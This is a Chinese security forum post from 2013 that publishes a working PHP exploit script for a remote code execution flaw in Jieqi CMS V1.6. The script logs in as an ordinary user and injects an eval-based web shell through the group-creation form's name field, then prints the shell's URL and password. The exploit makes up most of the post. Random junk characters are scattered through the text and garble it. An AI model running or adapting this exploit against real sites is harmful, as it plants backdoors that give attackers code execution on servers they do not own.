找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1966|回复: 0
打印 上一主题 下一主题

Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:28:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。( l% Y' O! x# o- y7 I* K
$ @1 ?. E2 u- a+ V9 @7 I& o. E# C
, ^) q0 n; U  |! y' m
该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。4 d$ P9 Q! \" T% W, p" o
需要有一个能创建圈子的用户。3 W  }% W4 T( A, p& q- ]

1 T5 [( H9 `/ j9 ?<?php: v# h2 n" q  p8 \
6 r( S! c2 S- j
print_r(', X, d7 s, w9 Q5 k6 |
+---------------------------------------------------------------------------+1 G7 Y3 q* z, s4 A2 T
Jieqi CMS V1.6 PHP Code Injection Exploit
( x1 E! |5 O8 k0 R0 C' N! C  _by flyh4t
9 ~& H5 J; r$ w# f5 r4 C6 cmail: phpsec at hotmail dot com" g1 I, m. B+ q
team: http://www.wolvez.org& @& ?# ]- o* s7 P, e
+---------------------------------------------------------------------------+4 h+ e1 `+ x% U, F. W
'); /**
. P/ v1 k. \' X( O4 x% L- l * works regardless of php.ini settings8 ]4 M$ d# ?0 A& ?' ~3 ?
*/ if ($argc < 5) { print_r('
$ C1 j) T- f3 A8 {/ U+---------------------------------------------------------------------------+* c3 p5 n: N3 u5 q
Usage: php '.$argv[0].' host path username4 ]8 j4 m/ B/ N+ g$ I7 A* f2 E
host:      target server (ip/hostname)9 N5 C7 j" l6 y. Q/ G& I5 T" L- _/ |
path:      path to jieqicms 0 K2 W! j( ?4 L9 I6 Z1 i1 g: L0 t
uasename:  a username who can create group  t, W, R$ E- l5 Z) c. K' c
Example:
% j. U- P& G' ?4 k! A! L5 bphp '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
/ i0 L9 m/ V; ~1 ?& z6 ]; c  Y+---------------------------------------------------------------------------+
6 ~/ ]! s  X( S! E  c( t' ^" P8 B'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
6 ]1 j4 N& R, k5 M, vContent-Disposition: form-data; name="gname"
+ y2 F; B' `/ T4 a: ^8 o) _6 H ) R% H! E- e: K" X% b0 k
'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
) l# x- D' p3 J. R& {' F3 j-----------------------------23281168279961
3 j, h% w# q. T& V9 o0 G: c: j) iContent-Disposition: form-data; name="gcatid". [" T/ [1 }" Y3 j8 n
) Q  ^4 k8 E* i' n8 D: W- j+ P
1
$ G7 d' X' q* H( E% [-----------------------------23281168279961
, f' |# n" _3 ~7 N! ~Content-Disposition: form-data; name="gaudit"
, A) ~; O- Q: N+ Z1 ^
% }2 l' i/ S( Z; S, @+ {/ \6 V16 E. k+ z0 s: Y' n7 y& X( s
-----------------------------232811682799618 }$ L9 M# W. d* U
Content-Disposition: form-data; name="gbrief"5 }$ h2 t4 }1 m# M- `% s5 U
9 j& D% {4 @1 R* E" @; P0 V; C4 }
16 `! h2 Q, I& F" k% h
-----------------------------23281168279961--3 _5 z. Z2 E! c: s: b$ Q, U
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com$ j! n7 F- ~+ D, i

. y# {8 `( ]2 u9 r- e" i9 x" I% f; B8 Qpreg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表